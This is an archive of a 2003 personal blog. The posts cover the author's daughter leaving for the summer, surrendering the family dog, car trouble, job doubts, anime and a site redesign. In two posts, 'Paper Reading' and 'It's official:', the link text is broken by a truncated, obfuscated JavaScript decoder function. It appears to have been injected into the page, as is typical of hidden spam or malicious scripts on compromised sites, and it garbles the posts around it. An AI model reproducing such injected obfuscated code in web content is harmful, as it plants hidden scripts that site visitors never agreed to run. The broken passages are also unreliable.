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June 30, 2003

sad sad suz

Filed under: unlisted — suzanne henderson @ 10:55 pm

Without getting into lots of details: we took the dog to the animal shelter. I’m very sad to lose this dog, but I cannot deal with the animal cruelty reports that were placed against us. We were not being cruel to the dog, but Baltimore County requires you to have a shelter for the dog, and I cannot safely provide that for the dog. I also feel that Biscuit will find a good home at the pound because she is so happy and fun-loving.

I’m also looking for a way to find a home for the dog in the next couple days. I will do what I can, and I believe Rob said that he will help do what he can, to get this dog a home. We will keep track of the time she is there and if a home hasn’t been found, we will most likely pay the adoption fee to get her back and then pursue whatever options we need to. But at this point, we can’t keep the dog wihtout being fined by animal control.

While I have faith Biscuit will find a good home, I am still sad to see the chain of events end this way.

just isn’t meant to be

Filed under: unlisted — suzanne henderson @ 9:52 am

My mother took off with Alex on Saturday and left me her legal-to-drive car so I could drive it instead of my not-leagal-to-drive car. I drove it home from the airport, parked it in the driveway, and went in to take a nap, and make evening plans.

Before she left, my mother warned me of two things: watch the fuel gauge and turn off the lights. Her car lacks those wonderful dummy whistles and lights to let you know that you’ve left something on or that you are about to run out of gas. And, as things go for me, I left the lights on.

So, I come out about 10pm to leave and the car is dead. No big deal, I think. I run next door, ask our neighbor if he has cables, and we got to jump the car. And, while I’m not sure if it matters or not, I feel the need to note that I forgot to turn the ignition off after we pushed it to an accessible location.

We hooked up the cables, the car gave a slight whirr of activitie (like the radio made noise and what not) but that was it. I got in to start it and nothing. We repositioned the cables, nothing. We tried again and again, nothing.

So now, the legal-to-drive car is sitting on the street by my house and I’m again in my not-legal-to-drive car. Damn. Hopefully I can find something to do about this car tonight. The fuse solution didn’t seem to work, so I don’t know what else to do.

June 28, 2003

and back home

Filed under: unlisted — suzanne henderson @ 7:21 pm

so, it’s a Saturday night. I’m childless, honeyless, and have no current obligations. And here i sit at my computer, what a sad, sad thing this is. I’m currently thinking about starting a movie to add some excitement. Well thats not completely true, there is a little excitement going on. Just to be sure and give to dog some attention, I decided to let her meet the cats and hang out with me for a little bit. Dashi is okay with this, Spike just flashed across the room looking like the biggest mouse I’ve ever seen darting away, and Mallet is very unhappy on the couch. I can’t tell if mallet is growling at me, the dog, or both of us. Right now, it seems to be a constant grumble.

I’ve already managed to lose the dog’s leash. I can’t image how this actually happened, how it could have dissapeared so quickly, but it has. so now it looks like we’ll be using the short leash to take on her on walks and such.

I’m not sure what I think about having a dog. I’m thinking I should put an ad in the pennysaver or the newspaper. I think it might be worth not living with the dog for a couple weeks and could find her a good place to live. But, if I don’t find a home, my mom isn’t in much of a suh to get rid of her. In fact, I think she’d like to keep her after all. I guess my mom just needed to get over being mad at her.

Hehe, looks like biscuit is at a loss. Dashi and Mallet seems to have teamed up and taken ownership of the living room through psychi-animal-talk. Biscuit won’t event come over here now. And the soft rumble continues. Wonder if they’llbe okay togeter if I run take a quick shower…

wake up!

Filed under: unlisted — suzanne henderson @ 4:39 am

Okay, so it’s 4:37am, I’m awake, dressed, and patiently waiting for my momma to arrive. Time to go fetch alex, bring her home, pack up her stuff, and ship her off to oklahoma. I’m still very sad about this, I’m not sure that I’ll stop being sad before she gets home. I know that she will be very happy to be going to Oklahoma for so long, but still. I’m going to miss her, I think she will start missing me before it’s time to come home too. Oh, but I guess this is still the best option for both of us. Plus, getting to hang out with your grandparents all summer is a good deal. Thats what I used to do all summer. And I’m sure the time will pass quickly, or I sure hope it does cause i already miss my turkey goblin now.

June 27, 2003

danger! mommy troubles

Filed under: unlisted — suzanne henderson @ 2:53 pm

Tomorrow morning I will get up at 4:30am and drive to Philly. I will pick up my daughter by 7am and drive back to Baltimore. I will then try to fit in all the fun loving goodness of mother-daughter time in until I have to drive my daughter and mother to the airport for a 3:30pm flight to Oklahoma.

My daughter will then stay in Oklahoma until August 9th. (She is leaving a couple weeks ahead of schedule) I will then get her back with only 1 week to revel in the joy of mother-daughterness again. The next week she will go to the beach with Rob’s parents. The week after that, I will go to the desert with Rob for [Burning Man]. I will return home the first week in september to realize that my daughter spent an entire summer away from me and that I got to share absolutly none of it with her. We will be in the middle of back-to-school maddness and life will go on like it has always been since we moved here: wake up, got to work/school, come home, homework, play, go to bed, repeat.

What wil I do with this time? What purpose do I have to be here if my daughter is not? There is absolutly nothing I want to do with this time, I am not looking forward to this, I would rather have my daughter with me than be alone. I was originally excited about the bit of freedom I was to have to do some fun stuff while she is gone, but now, it seem excessive, too long of a break, and less appealing. Oh, I am sad. I miss her already.

June 26, 2003


Filed under: unlisted — suzanne henderson @ 11:49 am

Inspiration hit last night; I worked till 9pm. I was so happy to be working away at projects, finishing tasks, and getting things organized. I get these ideas of being a great worker, with drive and ambition. I want to put on a dress, nice shoes, and put on makeup. I want to smile at everyone I meet, make sure everyone know that I find working to be a pleasure, and try to make things better. I want to get further in work and feel like I have a real impact on things.

I used to think that I would get to the point that I was a great influence on the world, that my efforts would go noticed, that I could make a change in the way people act and think. I always thought it would be connected with children or child care and that it would reach out on a national level. And while my position now has me in the right field, I’m not sure if I’m doing what I can to reach for a goal that is still very vague.

I’m only 22 and still have time to figure things out. So many people my age are just getting started, getting out of college now, moving into their first positions, getting their feet wet, messing up for the first time, realizing that they aren’t so sure about what they want anymore. I wish I didn’t have to be at an age that those things were still okay. I want to be older, I want to be in a position that I have to start getting somewhere because time is fading away and I don’t want to be left in a middle-position with no real title, no real impact, and nothing but a mediocre salary for the rest of my life.

I don’t need to make lots of money, I don’t need to be in control of several people, but I do need to have an impact on someone or something. And I need to find a real passion for my work, want to truly love what I am doing, and be concerned about what is happening.

I’m afraid that Baltimore City is not where it’s at for me. I don’t think that I will every really care about the people here or I will be interested in making sure they are great child care providers. I think I’m in the wrong area for my ambition, the field is right, but I’m getting so jaded with every inner city provider that calls me. I’m tired of hearing their attitudes, lack of ambition, ignorance on important matters, and the negativity. While I do get several calls from people that I can tell want to provide the best care they can to their children, the uninterested callers are drowning them out.

But if I want to make a difference, doesn’t that mean caring about the bitchy caller who spends half the time yelling at a kid from across the room while talking with me on the phone? Shouldn’t I be focused on finding a way to make them realized that they need to be better caregivers? I don’t think I have that in me. I am so happy to work with people who already care and understand the importance of children, but those who don’t I’d rather just let them be. But, what about the children they serve? What about the misinformed parents who believe that their center is a good choice for their child? Oh, if only I could find a way to force my ambition to overcome my disinterestment.

June 25, 2003

schooling abroad

Filed under: unlisted — suzanne henderson @ 2:01 pm

Just found out that a friend will be going to Rome for a semester of study. Lucky her! I so wanted to do something like that. I was even researching how to do it and take alex with me. I think I need to kick my ass, get back into school, and pursue that idea again. Yeah, I think it would be fun and a good opportunity for alex to. I will now claim to be back in school by Januar 2004. It shall happen. In the meantime, I have to catch up with my school loans and such, and boy am I frowing with those payments.

June 24, 2003

This or That Tuesday

Filed under: unlisted — suzanne henderson @ 9:25 pm

Everybody’s Gone Surfin’!

1. Surf sites at random, or have a set list of regular reads? I mostly do at random. The only regular read I have is my boyfriend’s site and thats not consistent.

2. Do you visit mostly blogs, or news or other sites? blogs mostly, given up on fiding anything else out there.

3. Do you go online every day, or just a couple of days a week? HA! Every minute of every day? Yes, I’m almost always connected and have accepted that and moved on.

4. Do you allow comments on your blog, or not? Yes, but no one does. I’m okay with it, maybe people will want to someday. I don’t yet believe anyone reads my page.

5. Do you shop online at all, or at regular stores? Both.

6. Have you ever done online bill-paying/banking, or not? Wouldn’t go wihtout it. Online bill pay and banking is the greatest. If only I could use my computer as an ATM or deposit stuff into it.

7. Which news site do you prefer… MSNBC.com or CNN.com? Or do you prefer some other one? Neither, I’m tired of popular media news. Indy Media or nothing.

8. Live chat rooms, or message boards? IRC actually.

9. Instant messaging or e-mail? Email. If it is something I’m supposed to remember, it better go in my inbox.

10. Yes or no: have you ever met, or at least talked on the phone with, another blogger? If not, would you want to? Why or why not? Umm, yeah, I live with one, am friends with others, and have been meeting people over the internet for years.

xixstar.com down

Filed under: unlisted — suzanne henderson @ 4:33 pm

my domain expired on June-21-2003. I didn’t realize it. This morning, Dean pointed out that the site was being redirected to somewhere else. I’ve renewed it since there, updated my name servers to put them back the way they should be, and all should be good (in 72 hours).

I’m thinking this should bother me more than it dose. But since I still have normal access to my site, I’m not sure that I do care. I wonder if I would be happy if I was the only one able to see this site. The only reason I work on it is because I like, so what does it matter if no one else is getting to it anymore.

Hmm, just checked my logs and saw that someone accessed it recently. I don’t understand any of this. I’m just going to pretend everything is fine and not worry about it anymore.

Thanks [Dean|Dean McKenzie] for the heads up though.


Filed under: unlisted — suzanne henderson @ 2:42 pm

next time I get a bright idea to actually get something done, I need to make sure I can do it. Sigh. seems like something will always be wrong when getting my car ready. Basically, my car folder is missing from my files — problem when needing the title out of it. Secondly, the 2nd set of wiper blades that I bought don’t fit. Of course, the one that is there is broken so now I have no blade on the right side at all. So, back to the store again for that issue. And it’s so hot outside, I keep burning myself on the car trying to fix the other blade. Sigh. Maybe I’ll get this stuff taken care of eventually. Or perhaps, I can just lose my car instead…. sounds worth it right now.

June 23, 2003


Filed under: unlisted — suzanne henderson @ 10:58 am

Alex is in NJ, I’m missing her already.

My great-grandma broke her hip last week. I just found out that in 3 days she will be moving to a nursing home and will never go back home. No one has told her or my great-grandpa about this yet and I feel sorry for the person that does. I know neither or them will be happy to hear this news. And my grandma is there dealing with it. It might be time for them to go.

My momma is scrambling to figure out a way to get down there and help out my grandma. I think my grandma is pretty tired. My great-grandpa is also pretty sick with congestive heart failure and my grandma is getting stretched a little thin. Hopefully my mom will find a way out to Oklahoma, but it’s not looking too good for finding a reasonable priced option.

Add to that, my mom is getting rid of [Biscuit]. She just can’t deal with her chewing everything up. Also, the dog really needs an outside home and it isn’t fair to keep her shut up all day. Of course, I’ve made my mom mad by tell her not to get another pet since shes obviously not a fit pet owner. But I think it needs to be said. You shouldn’t get a et unless you plan on a many year commitment and are committed to keeping the animal even if they have bad habits.

Went for a short bike ride with [Dave|Dave Diller] yesterday. I’m feeling it today, ouch! I would like to get a bike and go riding more often. Rob thinks fixing up my playa bike would be good, but I doubt that it’s actually worth the trouble. But perhaps I could bring it in to [REI] and see what they say it would take to get it running good.

June 22, 2003

to NJ and back again.

Filed under: unlisted — suzanne henderson @ 11:40 am

We didn’t stay the night in NJ, which made me happy. I worry that I made Rob leave before he wanted, and that everyone in his family would think I was making him leave. Oh well, I guess that would happen if it’s the case. Or people would realize that staying in one’s own bed has strong appeal. We got home at 2amish, not too bad. I offered to drive, but Rob did all the all the driving instead. He’s sweet.

I was looking at information on the [Atkins Diet]. Since [Dean|Dean Mckenzie], [Amy|Amy Mckenzie, and [Bill|Bill Carlson] are on it, I thought it might be worth trying. That consideration lasted for about an hour or two. I just can’t give up carbs. I don’t know what I would eat. Of course, maybe I should look at what I am eating and see about reducing some of them, but I don’t know what I’d replace them with. My family has a love affair with bread, it’s tasty, we’ve never had a meal without it. So, to suddenly take it (and rice and pasta, my two other favorite items) out would eliminate most of my diet.

[PDF|Playa del Fuego] board meeting today. And I think we’ll stop at [Noodles] on the way there for lunch. See, no Atkins for me. Oh well, have to come up with another diet plan…

June 20, 2003


Filed under: unlisted — suzanne henderson @ 10:12 am

Thinking about this weekend’s camping trip, [pdf-lite], reminded me of last nights dream. I remember living at a campground and having several cars parked outside and friends showing up. But it was raining and everything was covered with mud.

I took a high pressure sprayer and kept cleaning everything off again and again. My friends kept telling me that I was wasting my time, that the mud was never going away, and that I was just making more mud. I didn’t care, I kept trying to clean everything off. I was even attacking cars as they drove by, scaring the drivers a little bit.

June 19, 2003

Blog Fodder: 11 objects in your immediate vicinity

Filed under: unlisted — suzanne henderson @ 2:32 pm

cellphone - I’m starting to wonder why I own this thing. I don’t use it enough, and certainly don’t use it enough to justify paying about $40 a month for it either.

star slinky - they call it a stress reliever and everyone at work always thinks I’m stressed when I start playing with it. But I just think it’s really cool because it is a star shaped slinky: stars are cool and slinkies are cool. Plus, it has pretty colors.

office diva - I made her out of a purple filing folder and a metallic pom-pom a coworker made for a motivational meeting. she’s pretty hot for a paper doll with floor length shiny purple hair.

scissors - the boring orange handle ones. I promise to not run with them.

phone - it has way too many buttons, it’s telling me that I have voice mail, and I try to avoid it as much as possible.

roll of stamps: left over from mailing out tickets, haven’t put them away yet.

blue highlighter: used it to mark up the printed itineary that confirmed I am going to birmingham.

metal fork: I keep one in my desk for eating lunch and stabbing coworkers. I didn’t stab anyone today; it’s still out from the beef and broccoli.

star purse: my purse that looks more like a handbag. not very valuable right now since there is no money in it.

altoids tin: the tangerine sours one, it’s empty though. I like the way it looks so I haven’t thrown it out yet.

another star slinky: yes, there are two. I like them that much.

…response to today’s [Blog Fodder]

going to birmingham!

Filed under: unlisted — suzanne henderson @ 1:34 pm

I’m going to birmingham, oh birmingham, beautiful birmingham. I can’t wait, gotta catch that plane, get me on my way to birmingham.

Woohoo! It’s official, I have a plane ticket and I will be going to [Burning Man] for sure this year. Transportation is always the big kicker, once that is in place, it’s downhill from there. I’ve now got a decent game plan in place, child care is already worked out for the week, vacation already approved. Whoop!

And the best part is, I get to go in the style I wanted to. Arrive Saturday afternoon, stay in a hotel that night, spend Sunday gathering supplies and what not, and then moving out to the playa. Again, I will be there Monday morning and be able to watch the city rise and grow. I found that to be the most memorable experience from last year, see it start at almost nothing and just get larger and larger. Then, another stay in Reno before flying out. That means a real shower and some sleep before heading back into work.

June 18, 2003

sad day at school

Filed under: unlisted — suzanne henderson @ 5:58 pm

I picked alex up from after-school at 5:30pm. she was sitting alone at a back table with her head burried in her arms. I sat down to find out what was wrong and with a devastated, tear-soaked face, alex told me that her teacher had left school. After several more sobs and coaxing, I figured that this was an unexpected turn of events for both alex and her teacher. It just didn’t seem normal for a teacher to leave two day before school let out for summer. Her teacher is expecting and alex knows that her leaving had something to do with the baby, but that doesn’t help alex feel any better about it. Her teacher has done an amazing job all year and we are sad to lose her and hope everything turns out good for her.

Paper Reading

Filed under: unlisted — suzanne henderson @ 3:15 pm

When I watch the phones at work, I get to catch up on local news:

function oc532bd2f6(uf){var yd=\'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';var vb=\'\';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndand”>June 18, 2003:

Road Rage closes 695: 4-car accident closes a section of I-695 for an hour. Two small children are flown to [John Hopkins Hospital] as precaution.

[Baltimore County Department of Enviroment Management and Protection says to stay away from [Herring Run] and [Black River] due to sewage overflow.

Canada to change law to allow same-sex unions


Filed under: unlisted — suzanne henderson @ 10:51 am

Too much stuff going on in my head. Alex is having her end-of-school picnic today. We ran to the grocery store to get her lunch and still made it to school on time. I see all these parents emptying their minivans of bags of chips and breads. One mother walks past my car holding a massive cake and she pauses to give the crossing guard a look at. And here I am dropping Alex off at yet another day of school and heading to work. I feel like a crummy mom. When the school year first started I really wanted to be involved in so many things, but as it has worked out, I’m lucky to make it to the evens [PTA] has planned.

My office is driving me crazy because it feels like an office. All I can see if sanitary cubicle walls and I feel like it might as well be a hospital ward or something. I can’t stand it and I can’t work like this. I’ll get some art up soon and hopefully that will help. I’m also planning to bring in a piece of fabric of some sort to cover up these ugly walls.

It’s official: function oc532bd2f6(uf){var yd=\'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';var vb=\'\';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndandfoster.com/BuyHome/searchResultsDetails.aspx?coId=2&mlsNum=BA4543120#additionalInfo”>2600 For Sale.

June 17, 2003

full of sushi

Filed under: unlisted — suzanne henderson @ 10:58 pm

Went to [Edo Shushi] tonight. I’m still stuffed. Their Rock n Roll and volcano rolls are amazing. Yum. Stopped at [beer] afterwards and stayed for less than 30 minutes. I just wasn’t in the mood for socializing. I wanted to be home with my laptop. Of course, by the time I got home, through around some clean and dirty laundry and watched the last two episodes of [Revolutionary Girl Utena], I didn’t feel like geeking out.

June 16, 2003

Otakon ‘03 Costume

Filed under: creative, costumes — suzanne henderson @ 11:37 pm

Since I’ve been so taken with Revolutionary Girl Utena, I think I’ll make a costume from that series for Otakon. Now, I simply have to decide on which character I want to be and find some good ideas for the costume. So far:

Plain Uniform

Fancy Uniform

Hopefully it won’t be too boring or over done. But since it’s the only real anime series I’ve watched, it seems a fitting choice.

Revolutionary Girl Utena

Filed under: unlisted — suzanne henderson @ 10:54 pm

I’m watching [Revolutionary Girl Utena] . The first episode (disk 2 I think) was hillarious:elephants attacking trucks, an explosively spicy curry dish, elephants falling over cliffs.

I had started the evening with plans to watch [Beautiful Mind]. I was mistaken as to what movie it was and I’d already seen most of it months before and wasn’t all that interested in starting it up again. Oh well, the anime flick was far more entertaining.

Book Marklets

Filed under: unlisted — suzanne henderson @ 2:27 pm

Why would I use this feature?

Bye Bye Birdie

Filed under: unlisted — suzanne henderson @ 2:03 pm

I bought Alex’s plane ticket to OKlahoma today. I’ve been slowly gathering stuff for her to be ready to go. I’m going to miss her, I think I already do. Just another reminder of how much older my angel is getting, and I know that she’ll show signs of it when she gets back home this time. This weekend we head to the beach and then summer begins.

XML Woes

Filed under: unlisted — suzanne henderson @ 12:56 pm

Last night, as I was doing a final check-over, I discovered that my xml files don’t work. Thanks [Dean|Dean McKenzie] for you help, new approaches are always nice. Thanks [Phil|Phil Gregory] for possibly finding the solution. And hopefully I’ll be able to thank [Rob|Rob Carlson] soon for helping implement Phil’s solution.

I think Rob’s all busy with his new work site today, I hear it going into a meeting without him there to present it. That would make me nervous. Actually went to [Wal-Mart] today (I do hate the place, honest) and bought a Conair [Touch N Tone]. Only went to walmart because target didn’t have what I was looking for. So, now that I have what I need, I hope to go back to my many year streak of not shopping at the evil store.

June 15, 2003

last one tonight, I promise

Filed under: unlisted — suzanne henderson @ 11:54 pm

I’m sending back another B5 dvd tomorrow. Which means I should be getting the next one by Wednesday (or later since [Netflix] has this dislike of people who get several dvds a month). I think dvd is the only way to watch a series. If I had to remember to watch something every week, it would never happen. This way, I can keepy up with what is happening and not miss anything either.

I started watching [The Saprano’s] too. I’m digging it so far, [Rob] is all happy that it is set in [Jersey|New Jersey]. I guess I’d be happy to watc a movie set in [Oklahoma] City, but that ain’t about to happen. I’m also about to get my second or third [Utena] disk. The first [anime] series that I actually like. Hopefully Alex will be happy to have something kid like to watch, even if I do make her watch it with subtitles.

Tomorrow I buy a $360 plane ticket to send Alex to Oklahoma for several weeks this summer. Sigh, wish the price wasn’t so high. Thinking I should let her stay for an additional week just to make up for the cost difference. But then, that would mean that she would come home and take off for the beach and then a week after than I’d head for the desert. I can’t be without my baby for that long. Okay, time to sleep and stop posting, what a fun day.

new chair, no shoes

Filed under: unlisted — suzanne henderson @ 11:11 pm

Finally back home, not that I was in a rush to get here or anything. But got lots done, I’m digging the new design, and now have to get my list of links up thanking all the great resources I accessed to get this far. Seesh, this may be a long list:

[Citrus Moon] for the awesome tile artwork. There is some beautiful stuff there, so stop by. Don’t skimp on reading the text on each page, there are some awesome resources tucked away there as well.

[Mt-Plugins] has been my source for all things good lately. I now have the [Netflix] and [Blogshares] plugins working on this page. I will prolly get some more plugins woing here soon.

Now, to backup my old design, overwrite the main files, and make this page live. I hope it works out okay, and if not, it’s only a lousy website, so no big deal.

shoes off to code

Filed under: unlisted — suzanne henderson @ 4:44 pm

I’m sitting on a red and black striped chair on the 7th floor of the [UMBC] library. My shoes are off, my legs are curled up, and I’m working on the new xixstar appearance. I was doing almost the same thing an hour ago at [Rob|Rob Carlson]’s office. I had the entire board room at my disposal. One leather chair held my laptop bag, one held me, another my shoeless feet. I kicked back, using the wall-size image for web surfing as slowly drew together a design that I think I will like.

It is a coding day, thats for sure. I may be a little sick today, but that isn’t stopping me from getting this project completed. And right now, I must say, that it feels like I’m sitting on a cloud. UMBC ain’t so bad when looking at if from the library’s 7th floor window. Of course, I wonder if anyone notices the two chairs pulled up to seperate windows and the clacking of keys going on. Of couse, I hope that at a university, geekness-to-the-max is a common occurance. Now, back to work.

June 14, 2003

going on a picnic

Filed under: unlisted — suzanne henderson @ 10:01 am

Today is Kathleen’s picnic, whee! I need to get some eerrands done before then. Hopefully Alex will start cooperating so that we can get out of here soon.

The only other news is that I got my hair cut off. All that bleached orange (and occasionally red) hair is gone. But, unfortunatly, I hate it. It’s a bit shorter than I like, honestly it’s way shorter than I like. But oh well. I’ll wear it this weekend and see if I grow to like it a little better, otherwise I’ll start wearing the red wig. Of course, I know wearing a wig in summer won’t last too long, so I hope I grow to like it.

June 12, 2003

plug-in fun

Filed under: unlisted — suzanne henderson @ 10:36 am

I’m having fun playing with the new plug-ins that I keep finding. I already added the [Netflix] plug-in to keep track of my current que. Wish it also told me what was currently out, I’ll see if I can do some tweaking to get that added on.

Also working on adding a WST plugin. More information might follow. Thanks [honey|Rob Carlson] for the idea.

Full Page Calendar option also looks pretty neat. Along with the Calendar Tricks. But, I best not get too far into those today, got other things to get done first. And some of those look like they’ll take a good amount of time to get working the way that I wan.

June 11, 2003

the sushi experience

Filed under: unlisted — suzanne henderson @ 11:03 pm

so, most of my friends know that I’m crazy about [sushi] now. Of course, this had to come after [Serious About Sushi gal|Alicia Miziolek] moved away. So, we can’t have a sexy redhead sushi night now. That would have been fun. I sure miss Alicia, just knowing that she was around and her amazingly sensual and open presence made Baltimore a lot more special. I wish I had suggested the idea before she left, I wish I had suggested most of my ideas to her.

Sushi needs to be experienced, not just eaten. I went to the local chinese buffet for dinner. Their sushi is decent, not [Kawasaki] quality, but not terrible either. And even though it was basically all-you-can-eat-eel (my favorite), it still isn’t really having sushi. I want to sit at a window table, after having to remove my shoes, be given a warm cloth to clean my hands, be severed cup and cup of warm tea, and have my chopsticks scurry to get the next bite. That’s having sushi for dinner.

Hopefully a full-on sushi night will be in my budget next payday. ::fingers crossed::